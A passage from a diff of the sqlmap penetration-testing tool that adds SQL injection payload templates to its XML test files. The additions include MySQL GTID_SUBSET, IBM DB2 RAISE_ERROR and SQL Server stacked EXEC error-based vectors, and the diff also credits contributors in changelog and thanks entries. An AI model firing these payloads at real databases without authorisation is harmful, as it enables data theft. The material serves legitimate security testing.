<payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</comparison>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>IBM DB2</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<!-- Works in MySQL, Oracle, etc. -->
|
<!-- Works in MySQL, Oracle, etc. -->
|
||||||
<test>
|
<test>
|
||||||
<title>HAVING boolean-based blind - WHERE, GROUP BY clause</title>
|
<title>HAVING boolean-based blind - WHERE, GROUP BY clause</title>
|
||||||
@@ -1452,7 +1486,6 @@ Tag: <test>
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -1474,7 +1507,6 @@ Tag: <test>
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
|||||||
@@ -91,6 +91,46 @@
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>4</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3,8,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>>= 5.6</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>4</level>
|
||||||
|
<risk>3</risk>
|
||||||
|
<clause>1,8,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
|
||||||
|
<request>
|
||||||
|
<payload>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>>= 5.6</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)</title>
|
<title>MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
@@ -404,7 +444,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -425,7 +464,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -446,7 +484,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -467,7 +504,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -488,7 +524,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -509,7 +544,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -672,7 +706,7 @@
|
|||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>3</level>
|
<level>3</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,9</clause>
|
<clause>1</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||||
<request>
|
<request>
|
||||||
@@ -689,9 +723,9 @@
|
|||||||
<test>
|
<test>
|
||||||
<title>Firebird OR error-based - WHERE or HAVING clause</title>
|
<title>Firebird OR error-based - WHERE or HAVING clause</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>3</level>
|
<level>4</level>
|
||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
<clause>1,9</clause>
|
<clause>1</clause>
|
||||||
<where>2</where>
|
<where>2</where>
|
||||||
<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||||
<request>
|
<request>
|
||||||
@@ -710,7 +744,7 @@
|
|||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>3</level>
|
<level>3</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,9</clause>
|
<clause>1</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||||
<request>
|
<request>
|
||||||
@@ -727,9 +761,9 @@
|
|||||||
<test>
|
<test>
|
||||||
<title>MonetDB OR error-based - WHERE or HAVING clause</title>
|
<title>MonetDB OR error-based - WHERE or HAVING clause</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>3</level>
|
<level>4</level>
|
||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
<clause>1,9</clause>
|
<clause>1</clause>
|
||||||
<where>2</where>
|
<where>2</where>
|
||||||
<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||||
<request>
|
<request>
|
||||||
@@ -748,7 +782,7 @@
|
|||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>3</level>
|
<level>3</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,8,9</clause>
|
<clause>1</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
|
<vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
|
||||||
<request>
|
<request>
|
||||||
@@ -765,9 +799,9 @@
|
|||||||
<test>
|
<test>
|
||||||
<title>Vertica OR error-based - WHERE or HAVING clause</title>
|
<title>Vertica OR error-based - WHERE or HAVING clause</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>3</level>
|
<level>4</level>
|
||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
<clause>1,8,9</clause>
|
<clause>1</clause>
|
||||||
<where>2</where>
|
<where>2</where>
|
||||||
<vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
|
<vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
|
||||||
<request>
|
<request>
|
||||||
@@ -780,6 +814,45 @@
|
|||||||
<dbms>Vertica</dbms>
|
<dbms>Vertica</dbms>
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>IBM DB2 AND error-based - WHERE or HAVING clause</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>IBM DB2</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>IBM DB2 OR error-based - WHERE or HAVING clause</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>4</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||||
|
<request>
|
||||||
|
<payload>OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>IBM DB2</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<!--
|
<!--
|
||||||
TODO: if possible, add payload for SQLite, Microsoft Access,
|
TODO: if possible, add payload for SQLite, Microsoft Access,
|
||||||
and SAP MaxDB - no known techniques at this time
|
and SAP MaxDB - no known techniques at this time
|
||||||
@@ -853,6 +926,26 @@
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3,9</clause>
|
||||||
|
<where>3</where>
|
||||||
|
<vector>GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
|
||||||
|
<request>
|
||||||
|
<payload>GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>>= 5.6</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)</title>
|
<title>MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
@@ -1000,7 +1093,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -1021,7 +1113,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -1062,6 +1153,25 @@
|
|||||||
<dbms>Firebird</dbms>
|
<dbms>Firebird</dbms>
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>IBM DB2 error-based - Parameter replace</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>4</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,3</clause>
|
||||||
|
<where>3</where>
|
||||||
|
<vector>RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||||
|
<request>
|
||||||
|
<payload>RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>IBM DB2</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
<!-- End of error-based tests - Parameter replace -->
|
<!-- End of error-based tests - Parameter replace -->
|
||||||
|
|
||||||
<!-- Error-based tests - ORDER BY, GROUP BY clause -->
|
<!-- Error-based tests - ORDER BY, GROUP BY clause -->
|
||||||
@@ -1105,6 +1215,26 @@
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL >= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>2,3</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>,GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
|
||||||
|
<request>
|
||||||
|
<payload>,GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>>= 5.6</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)</title>
|
<title>MySQL >= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
@@ -1205,7 +1335,6 @@
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>PostgreSQL error-based - ORDER BY, GROUP BY clause</title>
|
<title>PostgreSQL error-based - ORDER BY, GROUP BY clause</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
@@ -1261,7 +1390,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -1289,7 +1417,7 @@
|
|||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>5</level>
|
<level>5</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>2,3</clause>
|
<clause>3</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>,(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'))</vector>
|
<vector>,(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'))</vector>
|
||||||
<request>
|
<request>
|
||||||
@@ -1302,9 +1430,51 @@
|
|||||||
<dbms>Firebird</dbms>
|
<dbms>Firebird</dbms>
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>IBM DB2 error-based - ORDER BY clause</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>3</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>,RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||||
|
<request>
|
||||||
|
<payload>,RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>IBM DB2</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
<!--
|
<!--
|
||||||
TODO: if possible, add payload for SQLite, Microsoft Access
|
TODO: if possible, add payload for SQLite, Microsoft Access
|
||||||
and SAP MaxDB - no known techniques at this time
|
and SAP MaxDB - no known techniques at this time
|
||||||
-->
|
-->
|
||||||
<!-- End of error-based tests - ORDER BY, GROUP BY clause -->
|
<!-- End of error-based tests - ORDER BY, GROUP BY clause -->
|
||||||
|
|
||||||
|
<!-- Error-based tests - stacking -->
|
||||||
|
<test>
|
||||||
|
<title>Microsoft SQL Server/Sybase error-based - Stacking (EXEC)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>2</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1-8</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]');EXEC @[RANDSTR]</vector>
|
||||||
|
<request>
|
||||||
|
<payload>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]');EXEC @[RANDSTR]</payload>
|
||||||
|
<comment>--</comment>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
|
<dbms>Sybase</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
<!-- End of error-based tests - stacking -->
|
||||||
</root>
|
</root>
|
||||||
|
|||||||
@@ -73,7 +73,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
|||||||
@@ -264,7 +264,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -286,7 +285,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -307,7 +305,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -328,7 +325,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
|||||||
@@ -588,7 +588,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -610,7 +609,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -631,7 +629,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -652,7 +649,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -674,7 +670,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -696,7 +691,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -1638,7 +1632,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -1936,7 +1929,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
|||||||
@@ -6,14 +6,17 @@
|
|||||||
# Version 1.3 (2019-01-05)
|
# Version 1.3 (2019-01-05)
|
||||||
|
|
||||||
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
|
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
|
||||||
|
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/4?closed=1)
|
||||||
|
|
||||||
# Version 1.2 (2018-01-08)
|
# Version 1.2 (2018-01-08)
|
||||||
|
|
||||||
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.1...1.2)
|
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.1...1.2)
|
||||||
|
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/3?closed=1)
|
||||||
|
|
||||||
# Version 1.1 (2017-04-07)
|
# Version 1.1 (2017-04-07)
|
||||||
|
|
||||||
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.0...1.1)
|
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.0...1.1)
|
||||||
|
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/2?closed=1)
|
||||||
|
|
||||||
# Version 1.0 (2016-02-27)
|
# Version 1.0 (2016-02-27)
|
||||||
|
|
||||||
|
|||||||
@@ -112,6 +112,9 @@ Alessio Dalla Piazza, <alessio.dallapiazza(at)gmail.com>
|
|||||||
Sherif El-Deeb, <archeldeeb(at)gmail.com>
|
Sherif El-Deeb, <archeldeeb(at)gmail.com>
|
||||||
* for reporting a minor bug
|
* for reporting a minor bug
|
||||||
|
|
||||||
|
Thomas Etrillard, <thomas.etrillard(at)synacktiv.com>
|
||||||
|
* for contributing the IBM DB2 error-based payloads (RAISE_ERROR)
|
||||||
|
|
||||||
Stefano Di Paola, <stefano.dipaola(at)wisec.it>
|
Stefano Di Paola, <stefano.dipaola(at)wisec.it>
|
||||||
* for suggesting good features
|
* for suggesting good features
|
||||||
|
|
||||||
@@ -317,6 +320,9 @@ Michael Majchrowicz, <mmajchrowicz(at)gmail.com>
|
|||||||
Vinícius Henrique Marangoni, <vinicius_marangoni1(at)hotmail.com>
|
Vinícius Henrique Marangoni, <vinicius_marangoni1(at)hotmail.com>
|
||||||
* for contributing a Portuguese translation of README.md
|
* for contributing a Portuguese translation of README.md
|
||||||
|
|
||||||
|
Francesco Marano, <francesco.mrn24(at)gmail.com>
|
||||||
|
* for contributing the Microsoft SQL Server/Sybase error-based - Stacking (EXEC) payload
|
||||||
|
|
||||||
Ahmad Maulana, <matdhule(at)gmail.com>
|
Ahmad Maulana, <matdhule(at)gmail.com>
|
||||||
